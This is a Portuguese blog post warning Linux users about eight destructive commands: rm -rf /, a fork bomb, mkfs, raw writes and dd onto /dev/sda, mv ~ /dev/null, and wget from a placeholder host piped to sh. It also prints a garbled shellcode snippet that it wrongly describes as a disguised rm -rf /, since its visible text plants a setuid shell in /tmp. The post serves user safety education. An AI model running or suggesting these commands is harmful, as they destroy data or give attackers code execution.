Linux: 8 Comandos Mortais Que Você Nunca Deve Executar
Crédito da imagem: Free Grunge Textures – www.freestock.ca via flickr |
Os recursos do terminal de comandos do Linux são incríveis e muito úteis. Você pode modificar o sistema com uma liberdade muito grande, porém, essa liberdade tem um preço, você precisa entender tudo o que está digitando, pois existem combinações de comandos que podem literalmente destruir o seu sistema e todos os seus dados. O Linux não costuma questioná-lo se você tem certeza do que está fazendo e quais as possíveis consequências quando você utiliza certos comandos que podem danificar o sistema.
Você pode ainda, se for um usuário iniciante ou até mesmo um veterano, ser vítima de trols que frequentam fóruns e grupos de ajuda e podem indicá-lo, por piada, comandos letais que podem vir disfarçados ou em forma de scripts, sem que na maioria dos casos você perceba ou tenha a mínima ideia do que está fazendo.
É evidente que alguns destes comandos só serão perigosos se eles forem precedidos com SUDO no caso do Ubuntu (se não for o caso não funcionarão). Na maioria das outras distribuições Linux, a maior parte dos comandos devem ser executados como usuário root.
rm -rf / = Deleta Tudo!
O comando rm -f / apaga tudo que for possível deletar, incluindo arquivos no seu HD e arquivos de mídias removíveis, caso estejam conectados. Fica mais fácil entender este comando por partes:
rm – Remove os arquivos que se seguem.
-rf – Executa rm recursivamente (apaga todos os arquivos e pastas dentro da pasta especificada) e força que todos os arquivos sejam removidos sem pedir confirmação.
/ – Diz a rm para começar no diretório root (raiz) que contém todos os arquivos no seu computador e todos os dispositivos de mídia montados, incluindo arquivos compartilhados remotamente e drives removíveis.
O Linux executará o comando sem hesitar e deletará tudo, então, tome muito cuidado quando utilizá-lo! O comando rm também pode ser utilizado de outras formas perigosas como: rm -rf ~ apagaria todos os arquivos na pasta home, enquanto rm -rf .* apagaria todos os seus arquivos de configurações.
Lição 1: Cuidado quando utilizar rm -rf
rm -rf / disfarçado
Aqui está outro fragmento de código que está espalhado por toda web:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Esta é a versão hexadecimal de rm -rf / — executando este comando apagará todos os seus arquivos do mesmo jeito como se você tivesse executado rm -rf / .
Lição 2: Não execute comandos de aparência estranha, obviamente comandos disfarçados que você não entende.
:(){ :|: & };: – Fork Bomb (Bomba Garfo)
Crédito da imagem: Silveira Neto via Flickr |
A linha a seguir pode parecer bonitinha, mas tome muito cuidado, essa é uma função bash muito perigosa! :
:(){ :|: & };:
Essa linha curta define uma função do shel que cria novas cópias dele mesmo. O processo o replica continuadamente, e suas cópias continuamente replicam eles mesmos, rapidamente tomando todo o tempo do seu CPU e espaço da memória. Isto pode fazer com que o seu computador congele. Podemos dizer então que isto é um ataque de negação de serviço (denial-of-service).
Lição 3: As funções Bash são poderosas, mesmo as mais curtas.
mkfs.ext4 /dev/sda1 — Formata um HD (Disco Rígido)
Crédito da imagem: Jeff Kubina via Flickr |
O comando mkfs.ext4 /dev/sda1 é fácil de entender:
mkfs.ext4 — Cria um novo sistema de arquivo ext4 no dispositivo a seguir.
/dev/sda1 — Especifica a primeira partição no primeiro HD, que está provavelmente em uso.
Usados em conjunto, este comando é a mesma coisa que executar formatar a partição c: no Windows — que irá limpar os arquivos em sua primeira partição e substituí-los por um novo sistema de arquivos.
Este comando pode vir de outras formas, tais como – mkfs.ext3 / dev/sdb2 formataria a segunda partição do segundo disco rígido com o sistema de arquivos ext3.
Lição 4: Cuidado com os comandos que executam diretamente em dispositivos de disco rígido que começam com / dev / sd.
command > /dev/das — Escreve diretamente em um HD
A linha de comando command > /dev/sda funciona de forma similar — ele executa um comando e envia a saída do comando diretamente para o seu primeiro HD, escrevendo (gravando) os dados diretamente no seu HD e danificando o seu sistema de arquivo.
command — Executa um comando (pode ser qualquer comando).
> — Envia a saída do comando para o local a seguir.
/dev/sda — Escreve (grava) a saída do comando diretamente no dispositivo do Disco Rígido.
Lição 5: Como dito acima, cuidado com a execução de comandos que envolvem dispositivos de disco rígido começando com /dev/sd.
dd if=/dev/random of=/dev/sda — Escreve lixo em um disco rígido.
A linha dd if=/dev/random of=/dev/sda também vai destruir os dados em
um de seus discos rígidos.
dd — Realiza cópia de baixo nível de um local para outro.
if = /dev/random — use /dev/random (dados aleatórios) como entrada — você também pode ver locais como /dev/zero (zeros),
of=/dev/sda — Saída para o primeiro disco rígido, substituindo seu sistema de arquivos com dados aleatórios de lixo.
Lição 6: dd copia dados de um local para outro, o que pode ser perigoso se você está copiando diretamente para um dispositivo.
mv ~ /dev/null — Move o Seu Diretório Home para um Buraco Negro
crédito da imagem: NASA Goddard Photo and Video via Flickr |
/dev/null é outro local especial — mover algo para /dev/null é a mesma coisa que destruí-lo. Pense em /dev/null como um buraco negro. Essencialmente, mv ~ /dev/null envia todos os seus arquivos pessoais para um buraco negro.
mv — Move o seguinte arquivo ou diretório para outro local.
~ — Representa toda a sua pasta Home.
/dev/null — Mova sua pasta home para /dev/null, destruindo todos os seus arquivos e apagando as cópias originais.
Lição 7: O caractere ~ representa sua pasta home e mover coisas para /dev/null destrói elas.
wget http://examplo.com/algumacoisa -O – | sh — Faz o Download e Executa um Script
A linha acima faz o download de um script a partir da web e envia para sh, que executa o conteúdo do script. Isso pode ser perigoso se você não tiver certeza pra quê o script é ou se você não confiar na sua fonte — nunca execute scripts não confiáveis.
wget — Baixa um arquivo. (Você também pode ver curl no lugar de wget).
http://examplo.com/algumacoisa — Faz o download do arquivo a partir desse local.
| — Pipe (envia) a saída do comando wget (o arquivo que você baixou) diretamente para outro comando.
sh — Envia o arquivo para o comando sh, que executa-o se ele for um script bash.
Lição 8: Não faça o download ou execute scripts não confiáveis da web.
Viu algum erro ou tem outras dicas a acrescentar. Sabe outros comandos perigosos que novos ou experientes usuários Linux não devem executar? Fique à vontade e deixe o seu comentário logo abaixo para disseminar o seu conhecimento!
Fonte: howtogeek/ TECHsource
show!